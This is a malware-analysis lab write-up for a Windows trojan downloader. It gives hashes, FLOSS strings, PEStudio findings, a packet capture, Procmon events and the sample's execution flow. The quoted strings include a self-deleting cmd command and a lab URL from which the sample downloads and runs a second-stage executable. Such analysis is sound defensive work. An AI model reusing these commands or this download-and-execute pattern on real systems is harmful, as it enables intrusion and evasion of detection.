

**Static analysis:**

Get sha256sum:

sha256sum.exe {Name of malware file.exe}

Get md5sum:

md5sum.exe {Name of malware file.exe}

[virustotal.com](https://www.virustotal.com) score: 57/74 vendors flagged this as malicious

Trojan, downloader, ransomware

Extract static strings: floss command Pulls out arrays of characters that are greater than 4 characters and deobfuscates them.

- URLDownloadToFileW method found: [malapi.io](https://malapi.io) shows all potential malicious api calls
- InternetOpenURLA
- ShellExec
- Unicode (Bash) strings found:

FLOSS static Unicode strings:

```
Cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%s"  
[http]://ssl-6582datamanager[.]helpdeskbro[.]local/favicon.ico  
C:\Users\Public\Documents\CR433101.dat.exe  
Mozilla/5.0  
[http]://huskyhacks[.]dev  
Ping 1.1.1.1 -n 1 -w 3000 > Nul &  
C:\Users\Public\Documents\CR33101.dat.exe  
open
```

PEStudio:

MZ found in code: Windows executable

This program cannot be run in DOS mode

Compile time found in file-header: Sat Sep 04 18:11:12 2021 | UTC

- If the time stamp says a date in 1992: it was made in Delphi

Virtual and actual binary size value is roughly the same

## Dynamic analysis:

### Internal detonation:

- CMD window, no other indicators
- Killswitch present, if no internet connection. Deletes itself from disk.

### Network signatures:

```
> Frame 1: 306 bytes on wire (2450 bits), 306 bytes captured (2450 bits) on interface ethp000, id 0
> Ethernet II, Src: PcsCompu_57:d2:ce (08:00:27:57:d2:ce), Dst: PcsCompu_e0:b3:6b (08:00:27:e0:b3:6b)
> Internet Protocol Version 4, Src: 10.0.0.3, Dst: 10.0.0.4
> Transmission Control Protocol, Src Port: 49718, Dst Port: 80, Seq: 1, Ack: 1, Len: 308
> Hypertext Transfer Protocol
  GET /favicon.ico HTTP/1.1\r\n
    Accept: */*\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\r\n
    Host: ssl-6582datamanager.helpdeskbro.local\r\n
    Connection: Keep-Alive\r\n
    \r\n
    [Full request URI: http://ssl-6582datamanager.helpdeskbro.local/favicon.ico]
    [HTTP request 1/1]
    [Response in frame: 77]
```

```
0030 04 00 16 8c 00 00 47 45 54 20 2f 66 61 76 69 63 .....GE T /favico
0040 6f 6e 2e 69 63 6f 20 48 54 54 50 2f 31 2e 31 0d on.ico H TTP/1.1
0050 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 .Accept: */* .Ac
0060 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 cept-Enc oding: g
0070 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 zip, deflate-Us
```

### Host signature:

11:29:...	Malware.Unknown...	2372	CreateFile	C:\Users\windows\AppData\Local\Microsoft\...	SUCCESS	Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, AllocationSize: 200, EndOfFile: 198, NumberOfLinks: 1, DeletePending: False, Directory: False
11:29:...	Malware.Unknown...	2372	QueryStandardI...	C:\Users\windows\AppData\Local\Microsoft\...	SUCCESS	CreationTime: 8/15/2024 11:29:29 AM, LastAccessTime: 8/15/2024 11:29:29 AM, LastWriteTime: 8/15/2024 11:29:29 AM
11:29:...	Malware.Unknown...	2372	CreateFile	C:\Users\Public\Documents\CR433101.dat.exe	SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Offset: 0, Length: 198, Priority: Normal
11:29:...	Malware.Unknown...	2372	ReadFile	C:\Users\windows\AppData\Local\Microsoft\...	SUCCESS	
11:21:...	Malware.Unknown...	1156	Process Create	C:\Windows\SysWOW64\cmd.exe	SUCCESS	PID: 2980, Command line: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\windows\Desktop\Malware.Unknown.exe"
11:27:...	Malware.Unknown...	2356	Process Create	C:\Windows\SysWOW64\cmd.exe	SUCCESS	PID: 1764, Command line: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\windows\Desktop\Malware.Unknown.exe"

### Program Execution Flow:

- If URL exists:
  - Download favicon.ico
  - Writes to disk (CR433101.dat.exe)
  - Run favicon.ico (CR433101.dat.exe)
- If URL doesn't exist:
  - Delete from disk
  - Do not run